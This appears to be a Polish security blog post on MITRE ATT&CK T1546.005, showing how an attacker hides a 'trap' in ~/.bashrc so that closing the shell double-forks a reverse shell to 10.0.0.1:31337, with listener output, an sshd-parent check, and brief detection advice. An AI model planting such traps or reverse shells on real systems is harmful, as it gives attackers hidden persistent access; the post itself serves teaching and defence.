trap – persystencja po wyjściu z powłoki
Napisał: Patryk Krawaczyński
Wczoraj w Bezpieczeństwo, Pen Test Brak komentarzy. (artykuł nr 947, ilość słów: 863)
E
vent Triggered Execution (T1546.005) to technika w ramach MITRE ATT&CK, która opisuje, w jaki sposób atakujący mogą ustanowić mechanizm persystencji w systemie poprzez wykonywanie złośliwego kodu lub poleceń za pomocą przechwyconych przerwań programowych służących do komunikacji między procesami nazywanych w systemach *nix – sygnałami. Przykładem tutaj może być program trap, który pozwala programom i powłokom określać polecenia, które zostaną wykonane po otrzymaniu sygnałów przerwania. Jego typowym zastosowaniem jest tworzenie solidnych i odpornych na różne niestabilności skryptów powłoki zapewniając ich poprawne zakończenie poprzez wykonywanie awaryjnych sekwencji poleceń lub funkcji. Najprostszym przykładem może być tutaj obsługa przerwań wygenerowanych przez klawisze klawiatury, takich jak ctrl+c i ctrl+d. Niestety atakujący może również użyć tego polecenia do wykonywania swojego kodu, gdy powłoka użytkownika / administratora napotka określone przerwania. W ten sposób może wpisać się w taktykę eskalacji uprawnień (uzyskania przywilejów wyższego poziomu) lub trwałego dostępu do systemu (utrzymania swojej obecności podczas restartów i zmiany poświadczeń skompromitowanego konta).
Zazwyczaj atakujący wstawia instrukcję trap do regularnie wykonywanych skryptów powłoki, takich jak skrypty uruchamiane podczas inicjalizacji systemu, skrypty uruchamiane w ramach daemona cron lub plikach konfiguracyjnych powłoki użytkownika, takich jak: ~/.bashrc czy ~/.bash_profile. Gdy skrypt zostanie uruchomiony i ostatecznie wyzwoli sygnał pułapki, wykonana zostanie szkodliwa lista poleceń. Sygnałem może być dowolny sygnał systemu *nix, taki jak SIGINT (2), SIGTERM (15), SIGHUP (1), EXIT lub DEBUG. Najczęściej można spotkać sygnały generowane podczas normalnych operacji systemowych, takich jak EXIT (wyzwalany po zakończeniu sesji powłoki) lub SIGHUP (wyzwalany po zamknięciu terminala). Gdy proces powłoki odbierze zarejestrowany sygnał program trap przejdzie do wykonywania zdefiniowanych poleceń. Ich wykonanie odbywa się w kontekście procesu powłoki, dziedzicząc jego zmienne środowiskowe, uprawnienia i katalog roboczy. W przypadku sygnału EXIT wykonanie poleceń jest gwarantowane za każdym razem, gdy sesja powłoki zostanie zakończona, niezależnie od tego, czy użytkownik wyloguje się normalnie, terminal zostanie zamknięty, czy połączenie SSH zostanie zerwane, co czyni go niezawodnym wyzwalaczem mechanizmu persystencji.
Adwersarz rejestrując procedurę obsługi danego sygnału uwzględnia w niej złośliwe polecenia np. tworzące odwrotne powłoki (ang. reverse shell); programy pobierające kolejne ładunki (ang. payloads) lub przywracające trwałość dostępu dla atakującego. Ponieważ program trap może akceptować dowolne listy poleceń i skrypty to atakujący może uruchamiać wiele operacji na systemie, w tym te czyszczące jego aktywność oraz dowody początkowej kompromitacji przed wykonaniem kolejnych etapów. Przykład:
archee@skynet:~$ cat .bashrc | grep trap
trap '[ -d /tmp/.X1X-unix ] || { mkdir -m 1777 /tmp/.X1X-unix; \
( (bash -i >& /dev/tcp/10.0.0.1/31337 0>&1) & ) 2>/dev/null; }' EXIT
Gdy teraz użytkownik wpiszę exit / logout / naciśnie ctrl+d powłoka otrzyma sygnał EXIT, a trap uruchomi sekwencję: sprawdzi czy katalog /tmp/.X1X-unix istnieje; jeśli nie – to go utworzy i wykona podwójne rozwidlenie (ang. double fork) powłoki i „zadzwoni” do domu przekazując powłokę systemową atakującemu nasłuchującemu na porcie 31337:
agresor@darkstar:~$ nc -l -p 31337
bash: cannot set terminal process group (12701): Inappropriate ioctl for device
bash: no job control in this shell
archee@skynet:~$ echo $$
echo $$
12702
archee@skynet:~$ pstree -p
pstree -p
systemd(1)-+-agetty(804)
|-bash(12702)---pstree(12739)
Gdy tylko użytkownik archee zamknął powłokę atakujący agresor „dostał ją” z powrotem jako tylne wejście do systemu.
Dlaczego wykonanie podwójnego rozwidlenia jest tutaj szczególne ważne w kontekście przechwycenia sygnału EXIT przez trap? Gdybyśmy użyli zwykłego polecenia
bash -i ... (bez przejścia w tło – &) to powłoka użytkownika by nie zakończyła swojego działania i wzbudziła jego podejrzenia. Stałoby się tak, ponieważ polecenie trap by zmusiło powłokę do czekania, aż proces potomny (nasz reverse shell) zakończy działanie, zanim ostatecznie zamknie nadrzędną powłokę. Aby powłoka zamykała się natychmiast, a szkodliwe polecenie zadziałało „w tle”, musimy „odpiąć” je od procesu macierzystego. Jednak jeden poziom zagłębienia nie wystarczy. A to dlatego, że w systemie Linux kiedy zamykamy powłokę (proces nadrzędny), wysyła ona sygnał SIGHUP do wszystkich swoich procesów potomnych (podrzędnych). Przy podwójnym rozwidleniu tworzymy „wnuka” procesu. Gdy „dziecko” (pośredni subshell) kończy pracę natychmiast po uruchomieniu „wnuka”, ten ostatni zostaje osierocony i przejęty przez proces init (lub systemd – tak jak wyżej). Dzięki temu staje się całkowicie niezależny od zamykającej się sesji powłoki „rodzica” i ignoruje jej sygnał zamknięcia.
Jako udoskonalenie tej metody możemy też dodać sprawdzanie, czy rodzicem powłoki nie jest też powłoka (użytkownik uruchomił powłokę w powłoce), program sudo lub czy napewno jest to bezpośrednio daemon sshd – aby mieć pewność, że przechwytując powłokę użytkownik rzeczywiście opuszcza system:
[ "$(cat /proc/$PPID/comm 2>/dev/null)" = "sshd" ]
Wykrywanie aktywnych „pułapek” (ang. traps) we własnej powłoce jest dość proste, ponieważ wbudowane polecenie trap służy także do ich podglądu. Aby wyświetlić listę wszystkich zdefiniowanych pułapek w bieżącej sesji powłoki wystarczy wpisać:
agresor@darkstar:~$ trap
trap -- '[ -d /tmp/.X1X-unix ] || { mkdir -m 1777 /tmp/.X1X-unix; \
( (bash -i >& /dev/tcp/10.0.0.1/31337 0>&1) & ) 2>/dev/null; }' EXIT
Jeśli powłoka ma ustawione jakieś przechwytywanie, zobaczymy wynik w formacie: trap -- 'POLECENI(E/A)' SYGNAŁ. Jeśli nic się nie wyświetla, oznacza to, że nie ma zdefiniowanych żadnych niestandardowych przechwytów sygnałów. Jeśli chodzi o masowe wykrywanie trapów w całym systemie Linux to najlepszym sposobem jest przeszukiwanie plików konfiguracyjnych i skryptów powłoki (gdzie takie pułapki są najczęściej „zakładane” na stałe).
Więcej informacji: Traps, Trap (T1546.005) | MITRE ATT&CK
Poprzedni wpis Brak nowszych postów

